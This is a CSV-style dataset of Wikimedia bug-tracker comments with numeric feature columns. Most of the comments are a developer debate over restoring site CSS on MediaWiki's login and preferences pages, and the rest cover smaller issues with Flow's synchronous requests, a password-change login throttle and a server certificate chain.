+321385,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:
+
+Change 174018 had a related patch set uploaded by Legoktm:
+Make allowing site-wide styles on restricted special pages a config option
+
+https://gerrit.wikimedia.org/r/174018",,,1416268909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321382,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:
+
+Change 174014 had a related patch set uploaded by Legoktm:
+Make allowing site-wide styles on restricted special pages a config option
+
+https://gerrit.wikimedia.org/r/174014",,,1416268545,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321378,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:
+
+Change 174012 had a related patch set uploaded by Legoktm:
+Make allowing site-wide styles on restricted special pages a config option
+
+https://gerrit.wikimedia.org/r/174012",,,1416268350,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321374,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"I believe that this is great news and having a configuration setting for this [1] is great and very much acceptable. Thanks a ton for making this possible!
+
+Since this went to master I think this change should be backported to the 1.19, 1.23 and 1.24 branches.
+
+
+[1] https://www.mediawiki.org/wiki/Manual:$wgAllowSiteCSSOnRestrictedPages",,,1415623244,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-34,True,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1
+321370,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:
+
+Change 165979 merged by jenkins-bot:
+Make allowing site-wide styles on restricted special pages a config option
+
+https://gerrit.wikimedia.org/r/165979",,,1415569861,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321366,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Kunal's fix here makes sense to me.  Perhaps the ideal would be that everyone who sets up a wiki has full time developers available to help style their site, but the fact is that CSS and JS are known and used by amateurs to produce the effects they want.  Restricting that ability causes problems for end users.
+
+As far as security, it makes sense to keep user js/css off these pages, but MediaWiki: namespaced js/css should be available and is, by default, more tightly controlled.
+
+Since the problem that is solved here is visible on WikiApiary, I'm going to ask Jamie Thingelstad to test the patch there and merge it if it solves the problem.",,,1414683622,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-35,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+321362,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Is there no really easier way to suppress disasbling MediaWiki NS CSS when Special:Preferences is loaded?
+
+Only I can edit the MW NS. I see no risk...",,,1414619295,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+321358,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"For the record, these last few comments were mostly to provide more context, data and factor of influence. I don't feel it's appropriate for me to make a decision about this.",,,1413987569,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0
+321352,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #9)
+> (In reply to Kunal Mehta (Legoktm) from comment #7)
+> > (In reply to Krinkle from comment #5)
+> > > This would result in loading only part of a module, which is in my opinion
+> > > against expectations.
+> > 
+> > We already serve only the CSS of the module to no-JS users, so it's not
+> > totally against expectations.
+> > 
+> 
+> No we don't. Only for exceptional modules that are designed specifically to
+> be a base module without javascript, loaded explicitly via addModuleStyles,
+> thus bypassing ResourceLoader. If you're loading a regular module containing
+> javascript files via addModuleStyles, you're doing it wrong. It doesn't
+> throw an exception for that right now, but we should if that helps.
+> 
+> When writing css rules in a stylesheet loaded by ResourceLoader one should
+> be able to assume javascript execution alongside of it.
+> 
+
+For the 'site' module you are absolutely right of course. In general a module is either executed regularly (addModules/mw.loader.load) or styles only (e.g. Vector skin; addModuleStyles/load.php only=styles). In case of the 'site' wiki-page module, it is loaded with both addModuleStyles and addModuleScripts separately because the scripts have to execute in the global javascript context for legacy reasons, and Common.css historically is both the companion of Common.js as well as the standalone stylesheet for wiki content (e.g. infobox, or fallback styles for collapsible elements).",,,1413987488,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,0,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+321345,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,The main issue is that it is such a long standing feature that breaking it in security patch without notification to end users is not acceptable.  Then dragging along not issuing a recall on the patch or providing a corrected patch is also not acceptable.,,,1413986814,,PHID-USER-x6bqmsddkjigelco4gwe,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+321341,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Kunal Mehta (Legoktm) from comment #7)
+> (In reply to Krinkle from comment #5)
+> > This would result in loading only part of a module, which is in my opinion
+> > against expectations.
+> 
+> We already serve only the CSS of the module to no-JS users, so it's not
+> totally against expectations.
+> 
+
+No we don't. Only for exceptional modules that are designed specifically to be a base module without javascript, loaded explicitly via addModuleStyles, thus bypassing ResourceLoader. If you're loading a regular module containing javascript files via addModuleStyles, you're doing it wrong. It doesn't throw an exception for that right now, but we should if that helps.
+
+When writing css rules in a stylesheet loaded by ResourceLoader one should be able to assume javascript execution alongside of it.
+
+(In reply to Kunal Mehta (Legoktm) from comment #7)
+> Those might be reasonable changes for the future, but I don't think it's
+> okay to do such a major change without proper notice/release notes, and
+> definitely not appropriate to do in a security patch.
+
+I agree. But on the other hand one could also argue we never supported this in the first place. The community never asked to make usability and design decisions for the software interface. And contrary to the usual case, it's actually smaller wikis that do this, not the larger language editions of Wikipedia. Which I suspect might be due to lack of peer review and a wider audience to notice the (possibly negative) impact of a such a change.
+
+I'm not arguing that though. It's been too years since Common.css was added and these wikis started doing it to take it back now. Should the community ask for a feature if there's an existing exploit they can use to emulate a requested feature? (e.g. if Common.css was limited to content area and content pages, this would never be possible and we'd have to consider it as an actual feature, which we probably wouldn't allow for good reasons on WMF. The intent to improve the interface is completely valid however and we'd actively help those wikis improve their interface from the software perspective instead, it's merely about the implementation details here, not about the actual visual changes to interface).",,,1413984833,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+321334,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"So what's next? How do we get all the affected wikis out of their current misery? This bug should not be a back-burner thing as it looks like at the moment.
+
+I think the MW software should allow wikis to adapt the overall appearance without having to use a custom skin. So far the easiest way was to use Common.css/js etc. which is no longer working for integral pages such as the login and preferences.
+
+I think the proposed change tries to address this issue. Another possibility may probably be an extension that allows placing custom CSS- and/or JS-file(s) on the server which is then packed into a resource loader module loaded by the extension. This may perhaps also be a setting in MW core which allows to point to the respective file(s) and then does the same job. Perhaps there are other ways.",,,1413982256,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-37,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+321329,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #5)
+> This would result in loading only part of a module, which is in my opinion
+> against expectations.
+
+We already serve only the CSS of the module to no-JS users, so it's not totally against expectations.
+
+> 
+> I don't like escalating a relatively simple bug into a social problem, but I
+> think this is one of those cases where that is appropriate.
+> 
+> Maybe we should discourage people from theming their wiki to this extreme
+> via this method? Third parties should add a stylesheet via LocalSettings
+> instead of Common.css.
+> 
+> This should be done by a developer instead (especially for third parties).
+
+Part of the problem is that AFAIK there is no good/easy way to do that outside of a) writing your own skin (overkill in most cases), b) directly editing the skin stylesheets, which we really don't want people to do.
+
+> 
+> For Wikimedia sites, I'd like to think that, while it's kind of
+> undocumented, that people really should not significantly change the site
+> interface. Users should not be able to notice a difference outside the
+> content area when the styles are not loaded.
+> 
+> That thing about people thinking it's a different site, that goes both ways.
+> When they visit that different language edition, should that be allowed to
+> look like a completely different website?
+> 
+> Main reason being that the software interface is provided by MediaWiki core.
+> If there are problems there, they should be reported to the software and
+> addressed accordingly. Things can be iterated and tried in gadgets, but for
+> something so central to the software, it either shouldn't be done (e.g. bad
+> idea), or should be done (good idea) and done in the software itself so that
+> it may benefit a wider audience (and usually a higher quality result in
+> terms of browser support, user experience, performance and maintainability).
+> 
+> Something as fundamental as the site font, for example. That's either a
+> personal preference one could question whether it's responsible for users to
+> override, or there's a technical reason (eg. their wiki's language doesn't
+> render well in the font we choose by default) - in which case we shouldn't
+> put that burden on them. By all means that is a high priority problem for
+> the foundation and MediaWiki software to address.
+> 
+> There have also been proposals in the past to technically restrict the
+> ability of MediaWiki:Common.css to affect anything outside page content, but
+> that hasn't gotten anywhere. And I'm also not convinced that that'd be a
+> good thing. There's plenty of grey area where it's technically outside the
+> content area, but part of a larger customisation that doesn't interfere with
+> the software interface.
+
+Those might be reasonable changes for the future, but I don't think it's okay to do such a major change without proper notice/release notes, and definitely not appropriate to do in a security patch.",,,1413073104,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-38,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+321323,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #5)
+> Maybe we should discourage people from theming their wiki to this extreme
+> via this method? Third parties should add a stylesheet via LocalSettings
+> instead of Common.css.
+
+People use Common.css and Skin.css to theme their wikis only because MediaWiki doesn't provide any proper way to do it on-wiki.
+For a single site that you're running yourself, making or installing a custom skin is good. But for wiki farms where individual communities run wikis where they do not have FTP access, they need the theme to be editable on-wiki.",,,1413011612,,PHID-USER-ezpfr6e6bkesbgnfgicj,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-38,True,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+321316,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"This would result in loading only part of a module, which is in my opinion against expectations.
+
+I don't like escalating a relatively simple bug into a social problem, but I think this is one of those cases where that is appropriate.
+
+Maybe we should discourage people from theming their wiki to this extreme via this method? Third parties should add a stylesheet via LocalSettings instead of Common.css.
+
+This should be done by a developer instead (especially for third parties).
+
+For Wikimedia sites, I'd like to think that, while it's kind of undocumented, that people really should not significantly change the site interface. Users should not be able to notice a difference outside the content area when the styles are not loaded.
+
+That thing about people thinking it's a different site, that goes both ways. When they visit that different language edition, should that be allowed to look like a completely different website?
+
+Main reason being that the software interface is provided by MediaWiki core. If there are problems there, they should be reported to the software and addressed accordingly. Things can be iterated and tried in gadgets, but for something so central to the software, it either shouldn't be done (e.g. bad idea), or should be done (good idea) and done in the software itself so that it may benefit a wider audience (and usually a higher quality result in terms of browser support, user experience, performance and maintainability).
+
+Something as fundamental as the site font, for example. That's either a personal preference one could question whether it's responsible for users to override, or there's a technical reason (eg. their wiki's language doesn't render well in the font we choose by default) - in which case we shouldn't put that burden on them. By all means that is a high priority problem for the foundation and MediaWiki software to address.
+
+There have also been proposals in the past to technically restrict the ability of MediaWiki:Common.css to affect anything outside page content, but that hasn't gotten anywhere. And I'm also not convinced that that'd be a good thing. There's plenty of grey area where it's technically outside the content area, but part of a larger customisation that doesn't interfere with the software interface.",,,1412966691,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-38,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+321312,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:
+
+Change 165979 had a related patch set uploaded by Legoktm:
+Re-enable site-wide styles on Special:Preferences/UserLogin
+
+https://gerrit.wikimedia.org/r/165979",,,1412924450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+321308,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Yes, this is needed on fa, ckb, arz, glk, mzn, ps, pnb. Why? Because all of these wikis are overriding default browser defined sans-serif font on their Common.css and it is needed their UI would be consistent on preference and eventually login/logout also.",,,1412439475,,PHID-USER-4cih6cceraaohis3ydcd,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-39,True,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+321302,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,Many scripts/styles run on a site level; it does not make sense that they do not work on two pages. CSS is used e.g. in Arabic Wikipedia to adjust general font size and fix a bunch of directionality issues.,,,1412430270,,PHID-USER-v3j5otqjqf6zua6ibanh,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-39,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+321295,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,Also bawolff's email: https://lists.wikimedia.org/pipermail/wikitech-l/2014-October/078903.html,,,1412366088,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+73474,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Flow uses a synchronous XMLHttpRequest.  These should be avoided since it blocks waiting for a network response, and can create a bad UX.
+
+For this reason, it's been actively deprecated in recent Firefox (30+), when used on the main thread (https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest), and will log a warning.
+
+It is used in mw.flow.parsoid.convert.  This in turn is called twice, both from ext.flow.editor.js:
+
+1. mw.flow.editor.load - https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FFlow/a4eda372ccbd733ff741d3e1369c25a1e561fcf0/modules%2Feditor%2Fext.flow.editor.js#L88 -  This is using promises already, so it should be straightforward to use an async call here.
+
+2. mw.flow.editor.getContent - https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FFlow/a4eda372ccbd733ff741d3e1369c25a1e561fcf0/modules%2Feditor%2Fext.flow.editor.js#L88 - This is synchronous, and used by FlowBoardComponent.UI.events.globalApiPreHandlers.prepareEditor.  For this one, it also seems like it would be better to do the HTML->wikitext conversion on the server if possible, rather than round-trip a XHR call then post.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1412095980,1427151908.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-37czexl6ekrvcmp2tyqq,False,PHID-TASK-brfpjwrwb75g4d3a6avv,task_description,resolved,True,c3,1,True,False,True,-40,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+431146,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Change 194871 merged by jenkins-bot:
+Get rid of synchronous ajax calls
+
+[[https://gerrit.wikimedia.org/r/194871]]",,,1427138420,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+422185,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Change 194871 had a related patch set uploaded (by Matthias Mullie):
+Get rid of synchronous ajax calls
+
+[[https://gerrit.wikimedia.org/r/194871]]
+",,,1425657339,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+326575,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),in backlog: https://trello.com/c/srayZcqf,,,1412272503,,PHID-USER-37czexl6ekrvcmp2tyqq,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+73272,Special:ChangePassword somehow triggers login limiter,"1. Try logging in 3-4 times and eventually decide to reset your password.
+2. Log in with the e-mailed temporary password.
+3. Observe it serves Special:ChangePassword in response to the login with the temp password, prompting me to change it.
+4. Enter a new password
+5. Submit ""Set password and log in""
+
+Expected:
+I'm now logged in and back on the page I was at before this (returnto)
+
+Actual:
+
+I'm back on the ChangePassword page, this time with a rather strange error:
+ ""You have made too many recent login attempts. Please wait 5 minutes before trying again.""
+
+
+
+Strange, because I didn't make a log in attempt this time, and even if the one the system did for me was counted as a login attempt, it couldn't have been a failed attempt, so why would it be rejected?
+
+For the record, my login attempts in step #1 before I reset the password did not result in any error or block (at least not visible to the user).
+
+
+Possibly related:
+ https://bugzilla.wikimedia.org/show_bug.cgi?id=53655
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1411605180,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-bkfsuxhpogixcrlq32pq,task_description,open,True,c3,1,True,False,,-40,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+329035,Special:ChangePassword somehow triggers login limiter,"Created attachment 16577
+Screenshot of bug.
+
+**Attached**: {F15195}",,,1411605539,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bkfsuxhpogixcrlq32pq,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+72326,Ganglia server doesn't send intermediary certificates,"The certificate chain is incomplete because ganglia.wikimedia.org server does not send the intermediary certificate of RapidSSL CA. Some browsers might display a warning to users.
+
+https://www.ssllabs.com/ssltest/analyze.html?d=ganglia.wikimedia.org
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1409725740,1433463609.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-eyjehucsnoijmixhmo4e,task_description,resolved,True,c3,1,True,True,True,-44,True,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+469536,Ganglia server doesn't send intermediary certificates,"ah, thanks for the reminder @Chmarkine :)",,,1433463728,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+469534,Ganglia server doesn't send intermediary certificates,This has been fixed in T100825.,,,1433463609,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
